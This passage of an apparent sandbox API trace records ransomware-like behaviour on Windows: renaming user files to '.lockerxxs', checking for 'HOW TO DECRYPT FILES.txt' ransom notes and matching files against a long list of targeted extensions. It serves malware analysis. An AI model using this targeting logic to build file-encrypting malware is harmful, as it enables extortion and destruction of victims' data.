MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aotax.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aotax.mp4.lockerxxs")) returned 1 [0091.334] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x4b000348, dwReserved1=0x4e00c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.334] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0091.334] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0091.334] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0091.334] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0091.334] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AotAx.mp4") returned="AotAx.mp4" [0091.334] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0091.334] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="" [0091.334] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt" [0091.335] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\how to decrypt files.txt")) returned 0x20 [0091.335] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini" [0091.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.ems") returned 0 [0091.335] lstrlenA (lpString="*.ems") returned 5 [0091.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.db") returned 0 [0091.335] lstrlenA (lpString="*.db") returned 4 [0091.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.dbf") returned 0 [0091.335] lstrlenA (lpString="*.dbf") returned 5 [0091.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.myox") returned 0 [0091.335] lstrlenA (lpString="*.myox") returned 6 [0091.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.myo") returned 0 [0091.335] lstrlenA (lpString="*.myo") returned 5 [0091.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.qbw") returned 0 [0091.335] lstrlenA (lpString="*.qbw") returned 5 [0091.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.qbb") returned 0 [0091.335] lstrlenA (lpString="*.qbb") returned 5 [0091.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.qbm") returned 0 [0091.335] lstrlenA (lpString="*.qbm") returned 5 [0091.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.qbo") returned 0 [0091.336] lstrlenA (lpString="*.qbo") returned 5 [0091.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.qbx") returned 0 [0091.336] lstrlenA (lpString="*.qbx") returned 5 [0091.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.qba") returned 0 [0091.336] lstrlenA (lpString="*.qba") returned 5 [0091.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.qby") returned 0 [0091.336] lstrlenA (lpString="*.qby") returned 5 [0091.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.qbj") returned 0 [0091.336] lstrlenA (lpString="*.qbj") returned 5 [0091.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.ofx") returned 0 [0091.336] lstrlenA (lpString="*.ofx") returned 5 [0091.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.qif") returned 0 [0091.336] lstrlenA (lpString="*.qif") returned 5 [0091.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.mye") returned 0 [0091.336] lstrlenA (lpString="*.mye") returned 5 [0091.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.mbox") returned 0 [0091.336] lstrlenA (lpString="*.mbox") returned 6 [0091.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.eml") returned 0 [0091.336] lstrlenA (lpString="*.eml") returned 5 [0091.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.pst") returned 0 [0091.337] lstrlenA (lpString="*.pst") returned 5 [0091.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.ost") returned 0 [0091.337] lstrlenA (lpString="*.ost") returned 5 [0091.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.idx") returned 0 [0091.337] lstrlenA (lpString="*.idx") returned 5 [0091.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.dbx") returned 0 [0091.337] lstrlenA (lpString="*.dbx") returned 5 [0091.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.sql") returned 0 [0091.337] lstrlenA (lpString="*.sql") returned 5 [0091.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.mdb") returned 0 [0091.337] lstrlenA (lpString="*.mdb") returned 5 [0091.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.fdb") returned 0 [0091.337] lstrlenA (lpString="*.fdb") returned 5 [0091.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.wab") returned 0 [0091.337] lstrlenA (lpString="*.wab") returned 5 [0091.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.dat") returned 0 [0091.337] lstrlenA (lpString="*.dat") returned 5 [0091.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.txt") returned 0 [0091.337] lstrlenA (lpString="*.txt") returned 5 [0091.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.jpeg") returned 0 [0091.337] lstrlenA (lpString="*.jpeg") returned 6 [0091.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.jpg") returned 0 [0091.337] lstrlenA (lpString="*.jpg") returned 5 [0091.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.png") returned 0 [0091.338] lstrlenA (lpString="*.png") returned 5 [0091.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.php") returned 0 [0091.338] lstrlenA (lpString="*.php") returned 5 [0091.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.cs") returned 0 [0091.338] lstrlenA (lpString="*.cs") returned 4 [0091.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.cpp") returned 0 [0091.338] lstrlenA (lpString="*.cpp") returned 5 [0091.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.rar") returned 0 [0091.338] lstrlenA (lpString="*.rar") returned 5 [0091.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.zip") returned 0 [0091.338] lstrlenA (lpString="*.zip") returned 5 [0091.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.html") returned 0 [0091.338] lstrlenA (lpString="*.html") returned 6 [0091.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.htm") returned 0 [0091.338] lstrlenA (lpString="*.htm") returned 5 [0091.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.xlsx") returned 0 [0091.338] lstrlenA (lpString="*.xlsx") returned 6 [0091.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.xls") returned 0 [0091.339] lstrlenA (lpString="*.xls") returned 5 [0091.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.mp4") returned 0 [0091.339] lstrlenA (lpString="*.mp4") returned 5 [0091.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.ppt") returned 0 [0091.339] lstrlenA (lpString="*.ppt") returned 5 [0091.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.pptx") returned 0 [0091.339] lstrlenA (lpString="*.pptx") returned 6 [0091.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.doc") returned 0 [0091.339] lstrlenA (lpString="*.doc") returned 5 [0091.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.dot") returned 0 [0091.339] lstrlenA (lpString="*.dot") returned 5 [0091.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.docx") returned 0 [0091.339] lstrlenA (lpString="*.docx") returned 6 [0091.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.7z") returned 0 [0091.339] lstrlenA (lpString="*.7z") returned 4 [0091.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.tar") returned 0 [0091.339] lstrlenA (lpString="*.tar") returned 5 [0091.339] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.bz2") returned 0 [0091.339] lstrlenA (lpString="*.bz2") returned 5 [0091.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.gz") returned 0 [0091.340] lstrlenA (lpString="*.gz") returned 4 [0091.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.mkv") returned 0 [0091.340] lstrlenA (lpString="*.mkv") returned 5 [0091.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.eml") returned 0 [0091.340] lstrlenA (lpString="*.eml") returned 5 [0091.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.msg") returned 0 [0091.340] lstrlenA (lpString="*.msg") returned 5 [0091.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.edb") returned 0 [0091.340] lstrlenA (lpString="*.edb") returned 5 [0091.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.accdb") returned 0 [0091.340] lstrlenA (lpString="*.accdb") returned 7 [0091.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.odb") returned 0 [0091.340] lstrlenA (lpString="*.odb") returned 5 [0091.340] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.java") returned 0 [0091.340] lstrlenA (lpString="*.java") returned 6 [0091.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.asm") returned 0 [0091.341] lstrlenA (lpString="*.asm") returned 5 [0091.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.pfx") returned 0 [0091.341] lstrlenA (lpString="*.pfx") returned 5 [0091.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.pem") returned 0 [0091.341] lstrlenA (lpString="*.pem") returned 5 [0091.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.p12") returned 0 [0091.341] lstrlenA (lpString="*.p12") returned 5 [0091.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.gpg") returned 0 [0091.341] lstrlenA (lpString="*.gpg") returned 5 [0091.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.vsd") returned 0 [0091.341] lstrlenA (lpString="*.vsd") returned 5 [0091.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.odg") returned 0 [0091.341] lstrlenA (lpString="*.odg") returned 5 [0091.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.raw") returned 0 [0091.341] lstrlenA (lpString="*.raw") returned 5 [0091.341] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.nef") returned 0 [0091.341] lstrlenA (lpString="*.nef") returned 5 [0091.342] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.svg") returned 0 [0091.342] lstrlenA (lpString="*.svg") returned 5 [0091.342] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.psd") returned 0 [0091.342] lstrlenA (lpString="*.psd") returned 5 [0091.342] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.vmx") returned 0 [0091.342] lstrlenA (lpString="*.vmx") returned 5 [0091.342] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.vmdk") returned 0 [0091.342] lstrlenA (lpString="*.vmdk") returned 6 [0091.342] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.vdi") returned 0 [0091.342] lstrlenA (lpString="*.vdi") returned 5 [0091.342] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.lay6") returned 0 [0091.342] lstrlenA (lpString="*.lay6") returned 6 [0091.342] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.mpeg") returned 0 [0091.342] lstrlenA (lpString="*.mpeg") returned 6 [0091.342] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.djvu") returned 0 [0091.342] lstrlenA (lpString="*.djvu") returned 6 [0091.342] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.tiff") returned 0 [0091.342] lstrlenA (lpString="*.tiff") returned 6 [0091.342] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.backup") returned 0 [0091.342] lstrlenA (lpString="*.backup") returned 8 [0091.342] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.pdf") returned 0 [0091.343] lstrlenA (lpString="*.pdf") returned 5 [0091.343] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.cert") returned 0 [0091.343] lstrlenA (lpString="*.cert") returned 6 [0091.343] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.docm") returned 0 [0091.343] lstrlenA (lpString="*.docm") returned 6 [0091.343] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.xlsm") returned 0 [0091.343] lstrlenA (lpString="*.xlsm") returned 6 [0091.343] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.dwg") returned 0 [0091.343] lstrlenA (lpString="*.dwg") returned 5 [0091.343] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.nd") returned 0 [0091.343] lstrlenA (lpString="*.nd") returned 4 [0091.343] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.tlg") returned 0 [0091.343] lstrlenA (lpString="*.tlg") returned 5 [0091.343] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.lgb") returned 0 [0091.343] lstrlenA (lpString="*.lgb") returned 5 [0091.343] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.mov") returned 0 [0091.343] lstrlenA (lpString="*.mov") returned 5 [0091.343] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.xdw") returned 0 [0091.343] lstrlenA (lpString="*.xdw") returned 5 [0091.343] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.ods") returned 0 [0091.343] lstrlenA (lpString="*.ods") returned 5 [0091.343] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.wav") returned 0 [0091.343] lstrlenA (lpString="*.wav") returned 5 [0091.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.mp3") returned 0 [0091.344] lstrlenA (lpString="*.mp3") returned 5 [0091.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.aiff") returned 0 [0091.344] lstrlenA (lpString="*.aiff") returned 6 [0091.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.flac") returned 0 [0091.344] lstrlenA (lpString="*.flac") returned 6 [0091.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.m4a") returned 0 [0091.344] lstrlenA (lpString="*.m4a") returned 5 [0091.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini", pszSpec="*.csv") returned 0 [0091.344] lstrlenA (lpString="*.csv") returned 5 [0091.344] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4f3610, ftCreationTime.dwHighDateTime=0x1d5e3f3, ftLastAccessTime.dwLowDateTime=0xa5e2f110, ftLastAccessTime.dwHighDateTime=0x1d5e414, ftLastWriteTime.dwLowDateTime=0xa5e2f110, ftLastWriteTime.dwHighDateTime=0x1d5e414, nFileSizeHigh=0x0, nFileSizeLow=0xe24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="JApC_YtgsOvpA4MvOdb.avi", cAlternateFileName="JAPC_Y~1.AVI")) returned 1 [0091.344] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0091.344] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="JApC_YtgsOvpA4MvOdb.avi") returned -1 [0091.344] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="JApC_YtgsOvpA4MvOdb.avi") returned -1 [0091.344] lstrcmpiA (lpString1="", lpString2="JApC_YtgsOvpA4MvOdb.avi") returned -1 [0091.344] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned="desktop.ini" [0091.344] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0091.344] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="" [0091.344] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt" [0091.344] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\how to decrypt files.txt")) returned 0x20 [0091.345] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpString2="JApC_YtgsOvpA4MvOdb.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi" [0091.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.ems") returned 0 [0091.345] lstrlenA (lpString="*.ems") returned 5 [0091.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.db") returned 0 [0091.345] lstrlenA (lpString="*.db") returned 4 [0091.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.dbf") returned 0 [0091.345] lstrlenA (lpString="*.dbf") returned 5 [0091.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.myox") returned 0 [0091.345] lstrlenA (lpString="*.myox") returned 6 [0091.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.myo") returned 0 [0091.345] lstrlenA (lpString="*.myo") returned 5 [0091.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.qbw") returned 0 [0091.345] lstrlenA (lpString="*.qbw") returned 5 [0091.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.qbb") returned 0 [0091.345] lstrlenA (lpString="*.qbb") returned 5 [0091.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.qbm") returned 0 [0091.345] lstrlenA (lpString="*.qbm") returned 5 [0091.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.qbo") returned 0 [0091.345] lstrlenA (lpString="*.qbo") returned 5 [0091.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.qbx") returned 0 [0091.346] lstrlenA (lpString="*.qbx") returned 5 [0091.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.qba") returned 0 [0091.346] lstrlenA (lpString="*.qba") returned 5 [0091.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.qby") returned 0 [0091.346] lstrlenA (lpString="*.qby") returned 5 [0091.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.qbj") returned 0 [0091.346] lstrlenA (lpString="*.qbj") returned 5 [0091.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.ofx") returned 0 [0091.346] lstrlenA (lpString="*.ofx") returned 5 [0091.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.qif") returned 0 [0091.346] lstrlenA (lpString="*.qif") returned 5 [0091.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.mye") returned 0 [0091.347] lstrlenA (lpString="*.mye") returned 5 [0091.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.mbox") returned 0 [0091.347] lstrlenA (lpString="*.mbox") returned 6 [0091.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", 